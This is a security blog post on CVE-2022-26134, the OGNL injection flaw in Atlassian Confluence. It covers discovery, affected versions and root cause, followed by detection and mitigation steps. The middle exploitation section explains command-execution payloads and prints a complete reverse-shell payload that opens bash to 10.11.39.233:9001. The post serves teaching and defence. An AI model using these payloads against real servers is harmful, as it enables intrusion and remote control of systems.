In recent years, software vulnerabilities have become a significant concern for organizations worldwide. One such vulnerability that gained attention is the Atlassian Confluence RCE (Remote Code Execution) vulnerability, also known as CVE-2022-26134. This critical security flaw exposed Atlassian Confluence, a popular collaboration and documentation platform, to potential attacks. The severity score assigned to it is 9.8. In this blog, we will delve into the details of CVE-2022-26134, explore its impact, and discuss the measures to mitigate the risk associated with this vulnerability.
Issue Details
CVE-2022-26134 is a Remote Code Execution vulnerability discovered in Atlassian Confluence, a widely used platform for team collaboration and knowledge sharing. This vulnerability allows an attacker to execute arbitrary code remotely on affected Confluence instances, posing a severe risk to the confidentiality, integrity, and availability of sensitive information.
Before it has been discovered, Volexity, a cybersecurity firm, recently conducted an investigation into a concerning incident involving two web servers owned by one of their clients. These servers were running Atlassian Confluence Server software with the most up-to-date version. The investigation was initiated due to the detection of suspicious activities on these servers, including the presence of JSP webshells being written to disk. In response, Volexity promptly employed their advanced tool, Volexity Surge Collect Pro, to collect crucial system data and files from the affected Confluence Server systems. Through a comprehensive analysis of the collected information, Volexity discovered that the servers had been compromised as a result of an attacker successfully executing a remote code execution exploit. Remarkably, Volexity was able to recreate this exploit and identify a previously unknown vulnerability, which affects even the most up-to-date versions of Confluence Server.
Once the vulnerability was discovered and its authenticity verified, Volexity promptly reached out to Atlassian, the company behind Confluence, to report the details. This communication took place on May 31, 2022. Subsequently, Atlassian conducted their own assessment and confirmed the existence of the vulnerability. They assigned it the identifier CVE-2022-26134, which serves as a unique reference for this specific security issue. Importantly, it has been determined that this vulnerability impacts both the current versions of Confluence Server and Data Center. However, the affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.
What Causes this issue
The vulnerability stems from a flaw in the way Confluence Server handles user-supplied input, specifically the Object-Graph Navigation Language (OGNL) expressions. OGNL is a powerful expression language commonly used in Java applications to evaluate expressions and access object properties.
In the case of CVE-2022-26134, the vulnerability allows an attacker to craft malicious OGNL expressions and inject them into the affected application. The vulnerable code in Confluence Server fails to properly validate and sanitize these input expressions, allowing the attacker's code to execute within the application's context.
By leveraging this vulnerability, an attacker can construct OGNL expressions that include arbitrary commands or instructions. When these malicious expressions are submitted to the vulnerable Confluence Server, they are executed without proper validation, resulting in the execution of arbitrary code on the server.
Remote Code Execution (RCE) is achieved because the attacker's code is executed within the application's environment, giving them full control over the server and the ability to execute commands as if they were legitimate and authorized users.
In practical terms, an attacker may exploit this vulnerability by crafting a specially crafted OGNL expression and injecting it into a vulnerable Confluence Server instance. This could be achieved through various attack vectors, such as sending a crafted HTTP request or submitting a specially crafted form input. Once the malicious expression is executed, the attacker can proceed to execute arbitrary commands, manipulate data, and potentially gain unauthorized access to sensitive information. Here in the exploitation section we will see how someone can go ahead and exploit a server which is running a vulnerable Atlassian Confluence Server.
Exploitation
Now that you have identified an Atlassian product vulnerable to CVE-2022-26134, it is time to proceed with the exploitation process and provide an explanation of the root cause of the vulnerability. The following details describe the steps involved in exploiting the vulnerability and the purpose behind the commands used.
The vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. This vulnerability arises due to insufficient input validation and improper handling of user-supplied data within the affected Atlassian product. When the malicious payload is injected through the vulnerable endpoint, the server processes the input without adequate sanitization or validation checks. As a result, the injected commands are executed within the server's runtime environment, leading to the successful exploitation of the vulnerability.
Time To Do Some Hacking
Let's Execute id
Payload
Decoded Version:
When the server receives the encoded payload representing the OGNL injection exploit in the URI of an HTTP request, it performs the following actions:
- The exec("id") method is invoked from the Runtime class, executing the id command on the target server.
- The output of the command execution is captured using IOUtils.toString, which converts the InputStream into a String.
- The result is then stored in the variable #a.
- The setHeader method is called from the ServletActionContext class to set the HTTP response header with the name X-Cmd-Response and the value of #a.
- The modified response, containing the desired command output (in this case, the id command), is then sent back to the attacker.
Extracting/etc/passwd
Payload
Decoded version:
The following payload represents another variation of the OGNL injection exploit in the vulnerable endpoint where output of the cat /etc/passwd command is stored in the #a variable. Then, the .(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a)) part adds the X-Cmd-Response header to the server's response and includes the value stored in the #a variable as its content. As a result, the contents of the /etc/passwd file are effectively printed in the X-Cmd-Response header, allowing the attacker to retrieve the file's data.
ReverseShell time.
Payload
Decoded Verion:
${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.11.39.233/9001 0>&1').start()")}/
This payload leverages the Nashorn JavaScript engine to execute a shell command on the target server. Let's break it down:
- %24%7B is the URL-encoded representation of ${, which starts the OGNL expression.
- new%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29 creates a new instance of the Nashorn JavaScript engine.
- .eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.11.39.233/9001%200%3E%261%27%29.start%28%29%22%29 evaluates the provided JavaScript code, which creates a new ProcessBuilder instance with a shell command to execute.
- The shell command bash -c 'bash -i >& /dev/tcp/10.11.39.233/9001 0>&1' opens a reverse shell connection to the IP address 10.11.39.233 on port 9001.
- %7D/ represents the URL-encoded }/, closing the OGNL expression.
As part of our exploration, we developed a shell script that facilitates the exploitation process and simplifies the execution of commands, as well as the establishment of a reverse shell. This script, available at CVE-2022-26134.sh, supports single-word commands and enables the creation of a reverse shell connection to a specified IP address and port. Given the challenges of encoding the payload repeatedly, this script proves to be a convenient tool for security researchers. By leveraging the OGNL injection vulnerability, the encoded payload is sent to the vulnerable endpoint. Upon successful execution, the resulting command output or the established reverse shell connection is captured and included in the server's response to the attacker via the X-Cmd-Response header. This script significantly eases the process of understanding and exploiting the vulnerability, allowing for seamless command execution and facilitating further exploration through the reverse shell connection.
Please give me shell.
Detecting and Mitigating the Atlassian Confluence RCE Vulnerability from a Blue Team Perspective
When it comes to identifying potential compromises related to the Atlassian Confluence RCE vulnerability, having a reliable detection strategy is crucial. A thanks to Archan choudhury for his wonderful documentation about the issue as well as its detection and mitigation techniques. Out of those, here are some key indicators and techniques that can help in detecting and investigating potential exploits:
- Look for newly created files with a .jsp extension or any other suspicious files in the Confluence installation directory.
- Monitor the tomcat logs for any suspicious child processes. Unusual or unexpected child processes spawned by the tomcat server could be a sign of malicious activity.
- Search for the presence of the string ${ in the log files located in the Confluence installation directory. This can be done by using tools like grep or egrep. This search can help identify any injected OGNL expressions or related payloads.
- Analyze the access logs for any requests related to specific files, such as noop.jsp. Look for access patterns or any anomalous requests made to these files. For example:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" in catalina.out
- Check the web logs for any occurrences of the common bash payloads.
In addition to the previously mentioned techniques, there are additional steps you can take to enhance your detection capabilities for the Atlassian Confluence RCE vulnerability. These steps are:
- Everyone's setup may be different, but Confluence typically includes the following JSP files:
- ./admin/findspaceattachments.jsp
- ./admin/cluster/hashclustername.jsp
- ./admin/default.jsp
- ./classpath.jsp
- ./errors/notfound.jsp
- ./500page.jsp
- ./errors.jsp
- ./noop.jsp
It is important to look for newly created files on the disk that are not included in this list. Pay close attention to these files during your detection process.
- Check for files on the disk that are not listed above and analyze the access logs for responses with HTTP status code 200. Additionally, investigate if any of these files have been modified. One file that often attracts attention is noop.jsp, which is typically around 103 bytes in size. Any modifications to this file should be treated as suspicious.
- Examine multiple instances where unexpected .java files are found in the ./confluence/org/apache/jsp/ directory. These files should not be present there.
- Monitor the process tree and process execution on any host where an exploit attempt has been identified. Specifically, look for process trees that follow the pattern: java -> bash -> python -> bash. This kind of process execution should be considered suspicious and further investigated.
Atlassian has released a comprehensive mitigation guidance to address the CVE-2022-26134 vulnerability in Confluence. It includes a list of fixed versions that users can update to in order to protect their systems. If upgrading Confluence immediately is not feasible, Atlassian has also provided a temporary workaround to mitigate the issue- Note: This requires manual application.
To effectively mitigate the CVE-2022-26134 vulnerability, it is recommended to follow these steps:
- Review any recent alerts or notifications pertaining to Confluence systems that you have set up. Stay informed about the latest security advisories from Atlassian.
- When Atlassian releases a fix for this vulnerability, it is crucial to apply the patch without delay. This vulnerability is highly critical and can be easily exploited by attackers. Promptly updating Confluence to the fixed versions provided by Atlassian is essential for securing your systems.
By staying informed, regularly monitoring for updates from Atlassian, and promptly applying the necessary patches, you can effectively mitigate the risks associated with CVE-2022-26134 and ensure the security of your Confluence environment.
References:
- https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- https://github.com/archanchoudhury/Confluence-CVE-2022-26134
- https://tryhackme.com/room/cve202226134
.png)
